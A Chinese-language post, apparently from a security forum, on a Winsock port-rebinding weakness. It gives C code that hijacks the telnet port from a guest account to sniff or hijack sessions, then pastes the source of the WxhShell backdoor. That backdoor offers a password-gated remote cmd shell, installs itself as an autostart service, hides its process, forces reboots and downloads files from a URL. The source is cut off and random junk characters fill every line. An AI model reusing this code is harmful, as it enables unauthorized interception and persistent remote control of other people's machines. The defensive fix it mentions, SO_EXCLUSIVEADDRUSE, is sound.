在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~rfUqM]I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'.gLqm}% TdKo"H*C saddr.sin_family = AF_INET;
9O4\DRe5c VX6M4<8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
KFhnv`a.0 *KYh_i bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
APUpqY cgV5{|P 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
J]ri|a "2_nN]%u- 这意味着什么?意味着可以进行如下的攻击:
w678 p!/ *(TT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@v~<E?Un tq.g4X ;_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2J &J H tx)MEZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6^QSV@N| k
& 6$S9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2{A/Fbk &Db'}Y?x] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1 ~s$< 4<btWbk5u* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
N"Cd{3 1SG^g*mf 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?WBA:?=$58 -Gj."ks #include
F7&Oc)f"B #include
)U+Pt98" #include
;\54(x}|K #include
>>.4@ DWORD WINAPI ClientThread(LPVOID lpParam);
{(5M)|> int main()
xX~;
/e&, {
|IZFWZd WORD wVersionRequested;
F3=iyiz6 DWORD ret;
H|8i|vbi WSADATA wsaData;
nV_[40KP_ BOOL val;
h,x'-]q SOCKADDR_IN saddr;
nC@UK{tVa SOCKADDR_IN scaddr;
."h>I @MH int err;
8;fi1 "F;} SOCKET s;
X8~gLdv8 SOCKET sc;
f}:W1&LhI? int caddsize;
v"V? HANDLE mt;
]}9D*V DWORD tid;
~PA6e+gmL wVersionRequested = MAKEWORD( 2, 2 );
87OX:6 err = WSAStartup( wVersionRequested, &wsaData );
gPY Cw?zQ if ( err != 0 ) {
te
b/ printf("error!WSAStartup failed!\n");
9._Osbp3P return -1;
%R-KkK<S }
a3B^RbDP&8 saddr.sin_family = AF_INET;
e"]DIy4s R zn%!d^$> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
oF=UjA o]WG8Mo- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GU]_Z!3 saddr.sin_port = htons(23);
4L/8Hj#g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t4FaU7 {
h%!N!\ printf("error!socket failed!\n");
jbs)]fqC; return -1;
`t Zw(Z=h }
;0Mg\~T~' val = TRUE;
^<v]x;
3 //SO_REUSEADDR选项就是可以实现端口重绑定的
l3;MjNB^V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@WO>F G3 {
w<G'gi] printf("error!setsockopt failed!\n");
XFrgnnt return -1;
rRd8W}B }
=(]||1. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mqKr+
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+Hf Zs"x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-: 8[ Z >F5rkJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}8?1)l {
x[1(cj ret=GetLastError();
K91.-k3)$ printf("error!bind failed!\n");
zR6^rq* return -1;
8~eYN-#W& }
\
0aa0= listen(s,2);
5d5q0bb while(1)
1xt N3{c {
[y1
x`WOk9 caddsize = sizeof(scaddr);
$ZfoJR]% //接受连接请求
@DK;i_i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0Lki( if(sc!=INVALID_SOCKET)
&Ez]pKjB {
-40OS=wpA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;sfk@ec if(mt==NULL)
N[8y+2SZ {
Yn1CU printf("Thread Creat Failed!\n");
dT4e[4l break;
~@N0$S }
6n5>{X }
E-XFW]I CloseHandle(mt);
us3fBY' }
m9m]q&hx closesocket(s);
z{ydP Ra WSACleanup();
BuIly&qbm< return 0;
A3c&VT6Q }
P},d`4Ty@ DWORD WINAPI ClientThread(LPVOID lpParam)
YMTB4|{ {
d vTsbs/6 SOCKET ss = (SOCKET)lpParam;
0Rze9od]$ SOCKET sc;
{ehAF=C unsigned char buf[4096];
#E#.`/4 SOCKADDR_IN saddr;
okv`v
({ long num;
cnwpd%]o DWORD val;
)3RbD#? DWORD ret;
;^Y]nsd //如果是隐藏端口应用的话,可以在此处加一些判断
wk (}q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
pu9ub. saddr.sin_family = AF_INET;
_;yi/)-2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xBW{Wyh saddr.sin_port = htons(23);
qD?-&>dBWi if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1} h''p {
sU}.2k printf("error!socket failed!\n");
1L:sck5k return -1;
WG?;Z }
_ZD8/?2QV val = 100;
j,BiWgj$8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M,j3 z# {
aO]FQ#l2b ret = GetLastError();
`OWw<6`k return -1;
8>y!=+9_ }
c _faW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gNoQ[xFx32 {
AyUiX2=w1 ret = GetLastError();
eaGd:( return -1;
(@y te }
Q-,,Kn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c5e
wG {
#0wH.\79 printf("error!socket connect failed!\n");
DRUvQf closesocket(sc);
2|C(|fD4 closesocket(ss);
-g;cg7O#( return -1;
PWw2;3`-6w }
3]u[NR while(1)
|-SImxV {
s wIJmA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|#6))Dh //如果是嗅探内容的话,可以再此处进行内容分析和记录
$JTQA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0Zq jq0O# num = recv(ss,buf,4096,0);
{zf)im[. if(num>0)
T.{sO` send(sc,buf,num,0);
8w|-7$ v else if(num==0)
n6f break;
g)@d(EYY num = recv(sc,buf,4096,0);
Z[{k-_HgAm if(num>0)
e<;^P(g`E send(ss,buf,num,0);
+g6t)Gl else if(num==0)
XA*sBf break;
|d B`URP }
D'!
v9} closesocket(ss);
M_Qv{ closesocket(sc);
AM ZWPU return 0 ;
h/t{=
@
.5 }
WLe9m02r ,py:e>+^t I|#1u7X%] ==========================================================
b+ g(=z+ -!kfwJg8N( 下边附上一个代码,,WXhSHELL
S|pMX87R JGB 9Z ==========================================================
pRAdo=" +?!x;qS^ #include "stdafx.h"
W=9Zl(2C ZM~kc|& #include <stdio.h>
O&Ws*k #include <string.h>
BV8-\R@ #include <windows.h>
OZ/!=; #include <winsock2.h>
lhk[U!># #include <winsvc.h>
r[TTG0| #include <urlmon.h>
2KUm(B.I ia!b0*< #pragma comment (lib, "Ws2_32.lib")
Imi#$bF6 #pragma comment (lib, "urlmon.lib")
@4'bI) |"Rl_+d7D #define MAX_USER 100 // 最大客户端连接数
dHtbl\6 #define BUF_SOCK 200 // sock buffer
n]N+ #define KEY_BUFF 255 // 输入 buffer
Eep*,Cnt0 c:R`]4o #define REBOOT 0 // 重启
\;h+:[<e1 #define SHUTDOWN 1 // 关机
y$]gmg VGVZ`| #define DEF_PORT 5000 // 监听端口
bvuoo/ a*pwVn #define REG_LEN 16 // 注册表键长度
fn1G^a= #define SVC_LEN 80 // NT服务名长度
&7{/ x~S{ q:y_#r"_y // 从dll定义API
'>}dqp{Wr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}[[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{x+"Ru~7, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L+c7.l.yT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
T JB)]d< 2
f"=f^rf // wxhshell配置信息
X/
\5j
struct WSCFG {
d"1DE int ws_port; // 监听端口
oPX `/X# char ws_passstr[REG_LEN]; // 口令
Tk^J#};N int ws_autoins; // 安装标记, 1=yes 0=no
~4YLPMGKl char ws_regname[REG_LEN]; // 注册表键名
Hyw T char ws_svcname[REG_LEN]; // 服务名
`ehZ(H} char ws_svcdisp[SVC_LEN]; // 服务显示名
wX0m8"g@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
N34.Bt char ws_passmsg[SVC_LEN]; // 密码输入提示信息
zH1pW( int ws_downexe; // 下载执行标记, 1=yes 0=no
f1a >C char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
n9;z= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
62R94 LIo3a38n?y };
[|=#~(yYQ e~#"#? // default Wxhshell configuration
X" hoDg struct WSCFG wscfg={DEF_PORT,
1N`1~y "xuhuanlingzhe",
ndSM*Fq 1,
qfO=_z ES "Wxhshell",
o)X(;o "Wxhshell",
ad\?@>[I "WxhShell Service",
!n=?H1@ "Wrsky Windows CmdShell Service",
<K~> :4c "Please Input Your Password: ",
BZ] 6W/0 1,
UBmD
3|Zo "
http://www.wrsky.com/wxhshell.exe",
$`2rtF "Wxhshell.exe"
^4+ew>BLSv };
ArFsr S~dD ;R // 消息定义模块
|Ef\B]Ns char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Bs@!S? char *msg_ws_prompt="\n\r? for help\n\r#>";
Zu4|1W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
W"m\|x char *msg_ws_ext="\n\rExit.";
)HrFWI'Y char *msg_ws_end="\n\rQuit.";
\m3'4# char *msg_ws_boot="\n\rReboot...";
9`"o,wGX3 char *msg_ws_poff="\n\rShutdown...";
WIytgM char *msg_ws_down="\n\rSave to ";
r/X4Hy0!lT &GF|Rr8NXs char *msg_ws_err="\n\rErr!";
z7[TgL7 char *msg_ws_ok="\n\rOK!";
egBjr? bYuQ"K
A$ char ExeFile[MAX_PATH];
E8TJ*ZU int nUser = 0;
[0_JS 2KE HANDLE handles[MAX_USER];
9uXu V$. int OsIsNt;
R^}}-Dvr [DW}z SERVICE_STATUS serviceStatus;
e&Z\hZBb SERVICE_STATUS_HANDLE hServiceStatusHandle;
zW`Zmt\T2 \hjGw,d // 函数声明
c0J=gZiP int Install(void);
2?",2x09 int Uninstall(void);
2v!ucd} int DownloadFile(char *sURL, SOCKET wsh);
}pE8G#O& int Boot(int flag);
'Zq$W]i void HideProc(void);
R^%uEP int GetOsVer(void);
V#j|_N1hm int Wxhshell(SOCKET wsl);
5^Gv!XW void TalkWithClient(void *cs);
Hpo/CY/ int CmdShell(SOCKET sock);
z*Y4t?+ int StartFromService(void);
u9WQ0. int StartWxhshell(LPSTR lpCmdLine);
`w_?9^7mH kI|Vv90l VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
r]XXN2[jO VOID WINAPI NTServiceHandler( DWORD fdwControl );
s\c*ibxM, %ZNp // 数据结构和表定义
0nkon3H SERVICE_TABLE_ENTRY DispatchTable[] =
1B;-ea {
n-h2SQl! {wscfg.ws_svcname, NTServiceMain},
O1/U3/2/d {NULL, NULL}
X(D$eV };
~R`Rj*Q2Y :!omog // 自我安装
pRsYA7Ti int Install(void)
F&{RP> {
]J^9iDTTA char svExeFile[MAX_PATH];
~Rzn =>a HKEY key;
+k!Y]_&(:f strcpy(svExeFile,ExeFile);
RB5fn+FiZ G)(\!0pNZ // 如果是win9x系统,修改注册表设为自启动
'4PAH2&n if(!OsIsNt) {
U @Il:\I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
MC.,n$O}6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\V@Hf"=j RegCloseKey(key);
1vcI`8%S+u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\NYtxGV[Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#;bpxz1lR9 RegCloseKey(key);
y(pHt return 0;
=*q|568 }
:kycIM]s }
WZk\mSNV }
a8T<f/qW k else {
&a?&G'? 0B(<I?a/ // 如果是NT以上系统,安装为系统服务
,}M@Am0~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Lc>9[!+# if (schSCManager!=0)
"7R"(.~> {
aq[ ;[$w SC_HANDLE schService = CreateService
t#+X*'/ (
Vp
$] schSCManager,
9wP_dJvb wscfg.ws_svcname,
P5;LM9W wscfg.ws_svcdisp,
gY AXUM, SERVICE_ALL_ACCESS,
;!4Bw"Gg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
} d /5_X SERVICE_AUTO_START,
||y5XXs SERVICE_ERROR_NORMAL,
t&UPU&tY svExeFile,
Wxl^f?I`: NULL,
uLYz!E+E NULL,
:sRV]!Iw NULL,
z`-?5-a]I NULL,
4!Ez#\ NULL
kBY54pl );
_//)|.6c3 if (schService!=0)
$AAv%v {
tE0DST/ CloseServiceHandle(schService);
&sL(|>N CloseServiceHandle(schSCManager);
qO=_i d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mrDIt4$D strcat(svExeFile,wscfg.ws_svcname);
>_QC_UX>4i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~U&,hFSPY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)SZt If RegCloseKey(key);
jR@j+p^e return 0;
16MRLDhnD }
4l2i'H }
$ WA Fr CloseServiceHandle(schSCManager);
Y:C7S~ }
*>!O2c }
yc5C`r +6 Y|J\,7CM return 1;
%sb)U~gP }
$x5P5^Y IM&2SSmYNH // 自我卸载
2Yt#%bj7^ int Uninstall(void)
SU;PmG4 {
\1'3--n HKEY key;
_aVrQ@9 {S(d5o8 if(!OsIsNt) {
D<$~bUkxR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[-!
RegDeleteValue(key,wscfg.ws_regname);
edhNQWn RegCloseKey(key);
O(;K]8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eRQ}`DjTk RegDeleteValue(key,wscfg.ws_regname);
{dJC3/Rf RegCloseKey(key);
trmCIk&Fkj return 0;
pv&:N,p }
D/jB. }
9;s:Bo }
$5y%\A else {
`;b@a<Wl Q=J"#EFs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Tx?,]c,(u if (schSCManager!=0)
uZ( I|N$ {
Etty{r} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^RytBwzKM if (schService!=0)
FR9qW$B {
WS8m^~S@\ if(DeleteService(schService)!=0) {
{~>?%]tf CloseServiceHandle(schService);
K^`3Bg CloseServiceHandle(schSCManager);
B7(~m8:eH7 return 0;
OiNzN.}d }
IRNL(9H CloseServiceHandle(schService);
wEENN_w }
"P HkbU CloseServiceHandle(schSCManager);
C%d\DuJ5'~ }
%"PG/avo }
lxy_O0n D'Tb= return 1;
n"8vlNeW }
:@)UI, R;&C6S // 从指定url下载文件
x@I*(I int DownloadFile(char *sURL, SOCKET wsh)
jZeY^T)f" {
YO7Y1(` HRESULT hr;
lY/{X]T.( char seps[]= "/";
){`s&? M0 char *token;
\O5`R- char *file;
,d n9tY3 char myURL[MAX_PATH];
u- PAi5&n char myFILE[MAX_PATH];
P:h;" }S51yDV G_ strcpy(myURL,sURL);
exw~SvT3 token=strtok(myURL,seps);
jY%&G#4 while(token!=NULL)
z(2pl} {
xgHR;USH file=token;
.gTla token=strtok(NULL,seps);
hc
OT+L>
}
V(_OyxeC{2 0"7%*n."2 GetCurrentDirectory(MAX_PATH,myFILE);
iSu7K&X9q strcat(myFILE, "\\");
YXI_ ' strcat(myFILE, file);
<WFA3 send(wsh,myFILE,strlen(myFILE),0);
zWKnkIit, send(wsh,"...",3,0);
)[RLCZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r(;oDdVc if(hr==S_OK)
X{4jyi-< return 0;
/aS= vjs else
F: %-x=q return 1;
G2
A#&86J{ O O?e8OU }
m ;-FP 2~ MCOiB<L6 // 系统电源模块
]j> W9n? int Boot(int flag)
p=%Vo@*] {
JPQWRK^ HANDLE hToken;
K"u-nroHW TOKEN_PRIVILEGES tkp;
/(IV+ Aq'yr,
if(OsIsNt) {
<
kyT{[e+6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
oV"d%ks LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<T]%Gg8 tkp.PrivilegeCount = 1;
D. d( D: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e RY2.! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$ N`V%<W if(flag==REBOOT) {
nOq?Q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<xM$^r) return 0;
+8qtFog$\g }
%Aaf86pkp else {
.Zo%6[X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sF9{(Us return 0;
k1tJ$} }
tUX4#{)q(j }
vHR-mQUs else {
>,c$e' h if(flag==REBOOT) {
'Cv,:Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vByt_X return 0;
*u
L Ooq }
S1jI8 #z}_ else {
#a1zk\R3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
x_za
R}WI return 0;
J|*Z*m }
Vb{5 -v
;a }
zED#+-7 $cl[Qcw return 1;
&O|!w& }
lMkDLobos R&oC9< // win9x进程隐藏模块
d)@Hx8 void HideProc(void)
&6]+a4 {
TUE*mDRmP %v}SJEXFp HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.'`7JU#{ if ( hKernel != NULL )
>?Y)evW {
q/T(s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1XfH,6\8i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
DlC\sm FreeLibrary(hKernel);
eAqSY s!1 }
0cYd6u@ nsT]Yxo%M return;
eZ>KA+C[ }
!Cqm=q{K z+@CzHCN // 获取操作系统版本
K6uZ4 m; int GetOsVer(void)
|E{tS,{OhJ {
48}L!m @ OSVERSIONINFO winfo;
L >*
F8|g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
T6/d[SH> GetVersionEx(&winfo);
+f5|qbX/\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$? 'JePC return 1;
Mn)>G36( else
CMQlxX? return 0;
bxxazsj^ }
:ik$@5wp VV_Zrje // 客户端句柄模块
l ~bjNhk int Wxhshell(SOCKET wsl)
=D&xw2 {
6CQ.>M:R SOCKET wsh;
Sf_q;Ws struct sockaddr_in client;
+&AKDVmx DWORD myID;
@k<
e]@r XsH(8-n0 while(nUser<MAX_USER)
<V> [H7 {
y#Cp Vm#!> int nSize=sizeof(client);
A~2U9f+\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Yg @&@S] if(wsh==INVALID_SOCKET) return 1;
g&79?h4UXQ 4jWzYuI&J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
jruXl>T!U if(handles[nUser]==0)
AD$$S.zoD< closesocket(wsh);
K;n2mXYGM else
fG *1A\t] nUser++;
O
}ES/<an }
s!lLdR[g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
PpxLMe] g431+O0K1 return 0;
xH,D
bAC; }
rP5&&Hso ZsgJ6
Y // 关闭 socket
4t C-msTf void CloseIt(SOCKET wsh)
>e
g8zN {
2
}9of[ closesocket(wsh);
+*I'!)T^B nUser--;
V6c>1nZ ExitThread(0);
@ij8AGE: }
sIM^e z%4E~u10 // 客户端请求句柄
r8R]0\ void TalkWithClient(void *cs)
MD"a%H#p {
U-U^N7 F!>92H~3G SOCKET wsh=(SOCKET)cs;
KA[8NPhzZ char pwd[SVC_LEN];
!!{!T;)l char cmd[KEY_BUFF];
g':/hlQ char chr[1];
2qA"emUM int i,j;
^R g=*L A:-M RhE9X while (nUser < MAX_USER) {
6w? l
I ~PTqR2x if(wscfg.ws_passstr) {
eX{:&Do if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]j4Nl?5*x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GlVb |O" //ZeroMemory(pwd,KEY_BUFF);
$!'S7;*uW i=0;
Gp l while(i<SVC_LEN) {
JU6PBY~C' HsF8$C$z // 设置超时
)335X wA+ fd_set FdRead;
p aQ"[w struct timeval TimeOut;
!ek};~( FD_ZERO(&FdRead);
u|.c?fW'3 FD_SET(wsh,&FdRead);
eU*0;# TimeOut.tv_sec=8;
LH:M`\(DL1 TimeOut.tv_usec=0;
,k9@%{4 l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4lb(qKea if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
fwN'5ep Ej[:!L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
sy\w ^] pwd
=chr[0]; nEG+TRZ)\
if(chr[0]==0xd || chr[0]==0xa) { |}?o=bO
pwd=0; [|vE*&:uO
break; bG|aQ2HW
} Z$X[x7e.
i++; 3iKy>
} K> rZJ[a
+WH|nV~lQ
// 如果是非法用户,关闭 socket l%f&vOcd
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }C'H@:/
} +A!E 6+'
US.7:S-r"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +Cf
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pBb fU2p
|e%o
while(1) { DHnO ,"
i3SrsVSG
ZeroMemory(cmd,KEY_BUFF); YVcO+~my
AB:JXMyK
// 自动支持客户端 telnet标准 2~wIHtd
j=0; J%
b`*?A
while(j<KEY_BUFF) { O} &%R:
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .boBo$f
cmd[j]=chr[0]; ^^;#Si
if(chr[0]==0xa || chr[0]==0xd) { !D \u2h
cmd[j]=0; JO&~mio
break; } 5nVZ;
} Vzmw%f)_+
j++; \\D(St
} f~rq)2V:
P{gGvC,
// 下载文件 AWG;G+
if(strstr(cmd,"http://")) { CD"D^\z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;/79tlwq
if(DownloadFile(cmd,wsh)) jfOqE*frl!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `zw^ WbCO{
else xIlo@W6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P\nz;}nv
} 5Xr<~xr
else { aQTISX;
je[1>\3W
switch(cmd[0]) { )<+t#5"
)UoF*vC(
// 帮助 iL6Yk @
case '?': { fp)%Cr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M#CYDEB
break; P2t{il
} 6]D%|R,Q#}
// 安装 yd>b2 M
case 'i': { F^/b!)4X
if(Install()) |3:e$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6A;,Ph2
else MKPw;@-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pf/_lBtL
break; EG&97lb
} <,:5d2mM.
// 卸载 zcrM3`Zh
case 'r': { _s%;GWj
if(Uninstall()) =mQdM]A)2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uA]!y{"}J
else ~5@bWJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AW')*{/(Ii
break; Gkr?M^@K
} [zw0'-h.
// 显示 wxhshell 所在路径 sPxDo?1x-
case 'p': { u6lcl}'
char svExeFile[MAX_PATH]; 5?=haGn
strcpy(svExeFile,"\n\r"); ~_GW
strcat(svExeFile,ExeFile); "R5! VV
send(wsh,svExeFile,strlen(svExeFile),0); '&+5L.
break; N\nxo0sl
} nPRv.h
// 重启 U-6pia/o
case 'b': { a@v}j&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iU1yJ=
if(Boot(REBOOT)) V\6V&_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vvwQ/iJO4Q
else { O}Mu_edM
closesocket(wsh); j0q:i}/U,
ExitThread(0); ] i:WP2
} bSvr8FY3d
break; 0vjlSHS;`.
} R[vA%G
// 关机 uozK'L
case 'd': { g=)OcTd#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;QS(`SK l
if(Boot(SHUTDOWN)) U'oFW@Y;h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P
?A:0a
else { >X58 zlxk
closesocket(wsh); d$}!x[g$Z
ExitThread(0); =#so[Pd
} 7
/7,55
break; j#rj_ uP
} \NF5)]:
// 获取shell 0Bn35.K
case 's': { !3;KC"o
CmdShell(wsh); $GJuS^@%
closesocket(wsh); KSgYf;
ExitThread(0); !eP)"YWI3
break; vhE^jS<Tg
} t#N@0kIX.
// 退出 {7Qj+e^
case 'x': { Y9r##r+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VtYrU>q
CloseIt(wsh); nmWo:ox4;(
break; X6-;vnlKN
} ttd
^jT
// 离开 n]x%xnt
case 'q': { !L3\B_#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); G<W;HM j2
closesocket(wsh); ZGsI\3S
WSACleanup(); A81'ca/
exit(1);
i38`2
break; M"s+k
} xtFGj,N
} `_+%
} G/N 1[)
=OamN7V=
// 提示信息 t->I# t7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wB+X@AA
} n%K^G4k^
} l>*L
Am5
1{-yF :A
return; "L&84^lmf
} %?m_;iv
g@|2z
// shell模块句柄
IBYSI0
int CmdShell(SOCKET sock) @bF4'M
{ QX$3"AZ~
STARTUPINFO si; fJD+GvV$x
ZeroMemory(&si,sizeof(si)); w`_"R6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {NUI8AL46A
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :k Kdda<g#
PROCESS_INFORMATION ProcessInfo; JXQh$hs
char cmdline[]="cmd"; 8 -YC#&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4`/Td?THx
return 0; c>%%'c
} `5
Iaz
!,9;AMO
-
// 自身启动模式 R q`j|tY
int StartFromService(void) O39f
{ .~,=?aq^
typedef struct #CRd@k?
{ KnC:hus
DWORD ExitStatus; &3f^]n!@
DWORD PebBaseAddress; 4SJb\R)XK
DWORD AffinityMask; o&MOcy D
DWORD BasePriority; Zg$RiQ^-{J
ULONG UniqueProcessId; B^@X1EE
ULONG InheritedFromUniqueProcessId; W!V-m
